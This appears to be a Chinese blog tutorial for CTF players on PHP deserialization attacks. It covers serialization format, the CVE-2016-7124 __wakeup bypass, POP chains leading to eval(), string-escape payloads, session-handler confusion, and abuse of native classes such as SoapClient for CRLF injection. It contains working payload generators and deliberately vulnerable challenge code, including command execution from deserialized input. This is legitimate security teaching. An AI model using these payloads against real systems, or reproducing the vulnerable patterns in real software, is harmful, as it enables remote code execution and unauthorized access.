php反序列化

php反序列化漏洞

序列化是将一个对象转换成字符串,反序列化是将字符串转换成对象,

在ctf的php反序列化中,我们传入参数进行反序列化,意味着我们可以控制对象的中参数的值,以达到获得flag和shell权限的目的

serialize() 将一个对象转换成一个字符串

<?php 
  class info{
  public $name=19;
  }
  $a=new info();
echo serialize($a);

new info()是调用info这个类,运行得到的值如下:

O:4:"info":1:{s:4:"name";i:19;}

第一位:O表示object,i代表数组

第二位:代表对象的长度

第三位:是对象的名称

第四位:是对象的个数

第五位:是变量的数据类型,s代表string,i代表int

第六位:是变量的长度

第七位:是变量的名字

unserialize() 将字符串还原成一个对象

将序列化的内容还原成对象

<?php 
class info{
	public $name='N1ght';
	public $age=17;
	public function a(){
		echo $this->name.' is '.$this->age.' years old';
	}
}
$a=new info();
$a->a();

$a->a();调用info里面的a函数

$this->name调用当前类的变量

我们如何修改里面的值呢

<?php 
class info{
	public $name='N1_ght';
	public $age=17132;
	public function a(){
		echo $this->name.' is '.$this->age.' years old';
	}
}
$a=new info();
$a->a();
echo serialize($a);

先获取序列化的值

O:4:"info":2:{s:4:"name";s:6:"N1_ght";s:3:"age";i:17132;}

然后进行反序列化

<?php 
class info{
	public $name='N1_ght';
	public $age=17132;
	public function a(){
		echo $this->name.' is '.$this->age.' years old';
	}
}
$a=unserialize($_GET['a']);
$a->a();

值就进行了改变

通过这个知识点,我们就可以出一个·题目

<?php
class N1ght{
	public $username;
	public $password;
	public $token;
	public function login(){
		if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){
			include('flag.php');
			echo $flag;
		}else{
			echo 'login failed';
		}
	}
}
$a=unserialize($_GET['a']);
$a->login();
?>

可以看到很简单进行了一个if判断语句,限定了我们输入的值,输入值正确的时候就输出flag

我们构建payload

<?php
class N1ght{
	public $username;
	public $password;
	public $token;
	public function login(){
		if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){
			include('flag.php');
			echo $flag;
		}else{
			echo 'login failed';
		}
	}
}
$a=new N1ght();
$a->username='N1_ght';
$a->password='123456';
$a->token='admin';
echo serialize($a);
?>

$a->xx=xxx 修改N1ght里的username的值为xxx

得到结果:

O:5:"N1ght":3:{s:8:"username";s:6:"N1_ght";s:8:"password";s:6:"123456";s:5:"token";s:5:"admin";}

get方式传入a

验证成功

输出flag

在类中有

public公有变量

private私有变量

protected保护变量

Public、private、protected区别:它们三个的权限不同。public 可以访问所有的类,private 只有当前类可访问,protected 当前类和继承它的类都可访问。

protected
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的
\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。

这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。

必须用python传值才可以。

比如:

O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;}

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

如果想放在浏览器中直接提交,我们可以将\0换成%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

原文链接:【PHP】反序列化漏洞(又名“PHP对象注入”)_Kal1的博客-CSDN博客

但是当数组值包含如双引号、单引号或冒号等字符时,它们被反序列化后,可能会出现问题。

为了克服这个问题,一个巧妙的技巧是使用base64_encode和base64_decode函数。

$obj=array();//序列化

$s=base64_encode(serialize($obj));

//反序列化

$original=unserialize(base64_decode($s)); 这样也并不是一个非常完美的解决办法,因为base64编码将增加字符串的长度。为了克服这个问题,可以和gzcompress一起使用,如下。

//定义一个用来序列化对象的函数function my_serialize($obj){

return base64_encode(gzcompress(serialize($obj)));

}

//反序列化

function my_unserialize($txt){

return unserialize(gzuncompress(base64_decode($txt)));

}

我们反序列化的时候要传入他的url编码过后的值才能成功,并且不能在外面通过->的方式修改

以private尝试

<?php
class N1ght{
	private $username;
	private $password;
	private $token;
	private function login(){
		if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){
			include('flag.php');
			echo $flag;
		}else{
			echo 'login failed';
		}
	}
}
$a=unserialize($_GET['a']);
$a->login();
?>

payload:

O:5:"N1ght":3:{s:15:"N1ghtusername";s:6:"N1_ght";s:15:"N1ghtpassword";s:6:"123456";s:12:"N1ghttoken";s:5:"admin";}

会发现报错

进行url编码后发现成功

<?php
class N1ght{
	private $username='N1_ght';
	private $password='123456';
	private $token='admin';
	public function login(){
		if($this->username==='N1_ght'&&$this->password==='123456'&&$this->token==='admin'){
			include('flag.php');
			echo $flag;
		}else{
			echo 'login failed';
		}
	}
}
$a=new N1ght();
echo urlencode(serialize($a));
?>

魔法函数

__construct() 创建对象时触发

__destruct() 对象被销毁时触发

__toString() echo和printf时候触发

__wakeup() 调用反序列化时候触发

__sleep() 调用序列化的时候触发

__get() 从不可访问的属性读取数据

__set() 将数据写入不可访问的对象

__call() 在对象上下文中调用不可访问的方法触发

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

测试

new A()这个动作触发了

__construct和__destruct

serialize($a)触发了sleep

unserialize($a)触发了__wakeup

$a->a()触发了__call函数

魔法函数__wakeup()绕过

在漏洞CVE-2016-7124当序列化的字符串表示对象属性个数大于真实的属性个数的时候会跳过__wakeup函数的执行

有效版本:

PHP5<5.6.25,PHP7 < 7.0.10

题目:

<?php
class N1_ght{
	public $username;
	public $password;
	public $token;
	public function __wakeup(){
		$this->username='hh';
		$this->password='xx';
		$this->token='user';
		echo "触发了__wakeup函数";
	}
	public function __destruct(){
		if($this->username=='wandou'&&$this->password='123456'&&$this->token=='admin'){
			include('flag.php');
			echo $flag;
		}
	}
}
$a=unserialize($_GET['a']);
?>

要让username和password和token等于一个值,但是unserialize会自动调用wakeup重新赋值,无法成功

payload:

<?php
class N1_ght{
	public $username;
	public $password;
	public $token;
}
$a=new N1_ght();
$a->username='wandou';
$a->password='123456';
$a->token='admin';
echo serialize($a);
?>

O:6:"N1_ght":3:{s:8:"username";s:6:"wandou";s:8:"password";s:6:"123456";s:5:"token";s:5:"admin";}

值为

当他的对象个数大于真实对象个数的时候

直接跳过了wakeup并且不执行

pop链学习

pop链的构造需要找到入口,也就是传入参数的地方,然后通过php的魔法函数来链到可以执行命令或者获得flag的函数

pop链例题

<?php

error_reporting(0);

show_source("pop.php");

class errorr0{

protected $var;

function __construct() {

$this->var = new errorr1();

}

function __destruct() {

$this->var->func();

}

}

class errorr1 {

public $var;

function func() {

echo $this->var;

}

}

class errorr2 {

private $data;

public function func() {

eval($this->data);

}

}

unserialize($_GET['err']);

?>

学习pop链看到的一道题目

分析源代码

error_reporting(0); 关闭报错信息

show_source("pop.php"); 显示页面源代码


class errorr0{ 定义一个类为errorr0

protected $var; 定义受保护的变量,只能在类内部进行修改不能 $a=new errorr0(); $a->var=111

function __construct() { 当类被创建的时候

$this->var = new errorr1(); 这边的var是可以控制的,可以构建pop链,创建一个新的类

}

function __destruct() {

$this->var->func(); 当类被销毁的时候,调用var类中的func函数

}

}


class errorr1 { 定义一个类为error1

public $var; 定义一个公有变量var

function func() { 定义一个func函数

echo $this->var; 这边应该是可控制,但是下面的errorr2需要去调用func函数执行系统命令

}

}


class errorr2 { 声明一个类为errorr2

private $data; 定义一个私有变量data,输入执行的命令

public function func() { 定义一个公有函数func

eval($this->data); 执行系统命令

}

}

我们需要链接到errorr2并且调用里面的func函数

我们看到了

class errorr0{

protected $var;

function __construct() {

$this->var = new errorr1(); 修改成new errorr2()

}

function __destruct() {

$this->var->func(); 当类被销毁的时候,调用var类中的func函数

}

}

payload:

<?php

class errorr0{

protected $var;

function __construct() {

$this->var = new errorr2();

}

function __destruct() {

$this->var->func();

}

}

class errorr1 {

public $var;

function func() {

echo $this->var;

}

}

class errorr2 {

private $data="phpinfo();";

public function func() {

eval($this->data);

}

}

$a=new errorr0();

echo urlencode(serialize($a)); 因为protected和private所以转换url编码

?>

例题2:

看到的一道pop题,源代码:

<?php

error_reporting(0);

show_source("index.php");

class w44m{

private $admin = 'aaa';

protected $passwd = '123456';

public function Getflag(){

if($this->admin === 'w44m' && $this->passwd ==='08067'){

include('flag.php');

echo $flag;

}else{

echo $this->admin;

echo $this->passwd;

echo 'nono';

}

}

}

class w22m{

public $w00m;

public function __destruct(){

echo $this->w00m;

}

}

class w33m{

public $w00m;

public $w22m;

public function __toString(){

$this->w00m->{$this->w22m}();

return 0;

}

}

$w00m = $_GET['w00m'];

unserialize($w00m);

?>

代码分析:

error_reporting(0); 关闭报错

show_source("index.php"); 浏览器显示


分析这个部分可以当pop链的尾部,只要admin==='w44m'并且passwd==='08067'调用Getflag函数就可以获得flag

class w44m{

private $admin = 'aaa';

protected $passwd = '123456';

public function Getflag(){

if($this->admin === 'w44m' && $this->passwd ==='08067'){

include('flag.php');

echo $flag;

}else{

echo $this->admin;

echo $this->passwd;

echo 'nono';

}

}

这个部分可以当pop链的头部

class w22m{

public $w00m;

public function __destruct(){

echo $this->w00m;

}

}

w33m可以调用w44m的Getflag函数

class w33m{

public $w00m;

public $w22m;

public function __toString(){

$this->w00m->{$this->w22m}();

return 0;

}

}

-->w22m::__destruct()-->w33m::__toString()-->w44m()::Getflag()

payload:

<?php

error_reporting(0);

show_source("index.php");

class w44m{

private $admin = 'w44m';

protected $passwd = '08067';

public function Getflag(){

if($this->admin === 'w44m' && $this->passwd ==='08067'){

include('flag.php');

echo $flag;

}else{

echo $this->admin;

echo $this->passwd;

echo 'nono';

}

}

}

class w22m{

public $w00m;

public function __destruct(){

echo $this->w00m;

}

}

class w33m{

public $w00m;

public $w22m;

public function __toString(){

$this->w00m->{$this->w22m}();

return 0;

}

}

$a = new w44m();

$b = new w22m();

$c = new w33m();

$b->w00m=$c;

$c->w00m=$a;

$c->w22m="Getflag";

echo serialize($b)."\n";

echo urlencode(serialize($b));

?>

反序列化字符串逃逸

反序列化字符串逃逸包括增多和减少

一般是str_replace函数触发的

序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。

增多

<?php
highlight_file(__FILE__);
function change($str){
	return str_replace("x", "xxxx", $str);
}
$name=$_GET['name'];
$age="I am 11";
$arr=array($name,$age);
print_r(serialize($arr));
echo "<br/>";
$old=change(serialize($arr));
echo "<br/>".$old;
$new=unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
if($new[1]=="18"){
	include('flag.php');
	echo $flag;
}
?>

分析下源代码,我们要控制age=18就输出,如何操作age呢

str_replace将x换成了xxxx,发现长度是3里面内容确实xxxxxxxxxxxx等等,这些多余的字符我们可以自己进行拼接序列化

前面有个定义就是:

序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。

";i:1;s:2:"18";}

需要逃逸16个字符,我们输入一个x逃逸3个所以payload就是,xxxxxx";i:1;s:2:"18";}aa

成功控制后面的变量,这边的aa是占位符凑到18个逃逸字符

所以增多就是通过str_replace将字符串替换变多,自己构建反序列化的字符加入其中,使自己构建代替生成的,来控制后面变量的值

ctfshow262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

放到本地环境调试

需要逃逸的字符串是

";s:5:"token";s:5:"admin";}

27个字符就需要传入27个fuck

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php

减少

<?php
highlight_file(__FILE__);
function change($str){
	return str_replace("flag", "x", $str);
}
$name=$_GET['name'];
$age='i am 18 year';
$ye=$_GET['wandou'];
$sys='ls';
$arr=array($name,$age,$ye,$sys);
print_r(serialize($arr));
echo "<br/>";
$old=change(serialize($arr));
echo "<br/>".$old;
$new=unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
echo "<br />此时,sys=$new[3]";
echo `$new[3]`;
?>

我们可以通过控制new的第四个变量来执行命令

传入参数

";i:1;s:12:"i am 18 year";i:2;s:58:"

需要逃逸的是这一部分

我们输入12个flag进行逃逸36个字符

成功执行命令

session反序列化

php : a|s:3:"wzk";

php_serialize : a:1:{s:1:"a";s:3:"wzk";}

php_binary : as:3:"wzk";

所以一般是php_serialize存储|a:1:{s:1:"a";s:3:"wzk";}

php触发

ini_set("session.serialize_handler","php_serialize")

ini_set("session.serialize_handler","php")

<?php
highlight_file(__FILE__);
ini_set($_GET['b'],$_GET['c']);
session_start();
$_SESSION['swaggyp'] = $_GET['a'];
echo var_dump($_SESSION);
class student{
    var $name;
    var $age;
    function __wakeup()
    {
        echo "wzk".$this->name;
    }
}

我们的思路是

ini_set('session.serialize_handler','php_serialize')保存|反序列化的值

ini_set('session.serialize_handler','php')触发

<?php
class student{
    var $name;
    var $age;
}
$a = new student();
$a->name =  "swaggyp";
$a->age = "1111";
echo serialize($a);
//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

存储

触发

触发成功

反序列化原生类

DirectoryIterator

这个类会创建一个指定目录的迭代器,当遇到echo输出时会触发Directorylterator中的__toString()方法,输出指定目录里面经过排序之后的第一个文件名。

<?php
$a=new DirectoryIterator();
echo $a;
?>

我们可以通过通配符查找flag的文件名

<?php
$a=new DirectoryIterator('glob://*f*');
echo $a;
?>

<?php
$a=new DirectoryIterator('glob://*f*');
foreach($a as $f){
	echo $f->__toString().' ';
}
?>

也可以通过foreach读取全部的文件

FilesystemIterator

这个在用法上和DirectoryIterator一样。

GlobIterator

通过类名也不难看出,这是个自带glob协议的类,所以调用时就不必再加上glob://了

SplFileObject

当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)除此之外其实SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

<?php
$a=new SplFileObject('ffffllllllaaaag.txt');
echo $a;

<?php
$a=new SplFileObject('ffffllllllaaaag.txt');
foreach($a as $f){
	echo $a->__toString().'<br>';
}

报错类

Error/Exception 触发XSS

绕过哈希值比较

SoapClient类

开启一个监听器

nc -lvvp

这边利用了crlf漏洞,我们可以进行post传参

<?php
$payload='a=b&b=c';
$a=new SoapClient(null,
array(
	'location'=>'http://192.168.126.128:5000/flag.php',
	'uri'=>'http://192.168.126.128:5000/flag.php',
	'user_agent'=>"aaa\r\nCookie:N1ght\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:".strlen($payload)."\r\n\r\n".$payload)
);
$a->a();

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值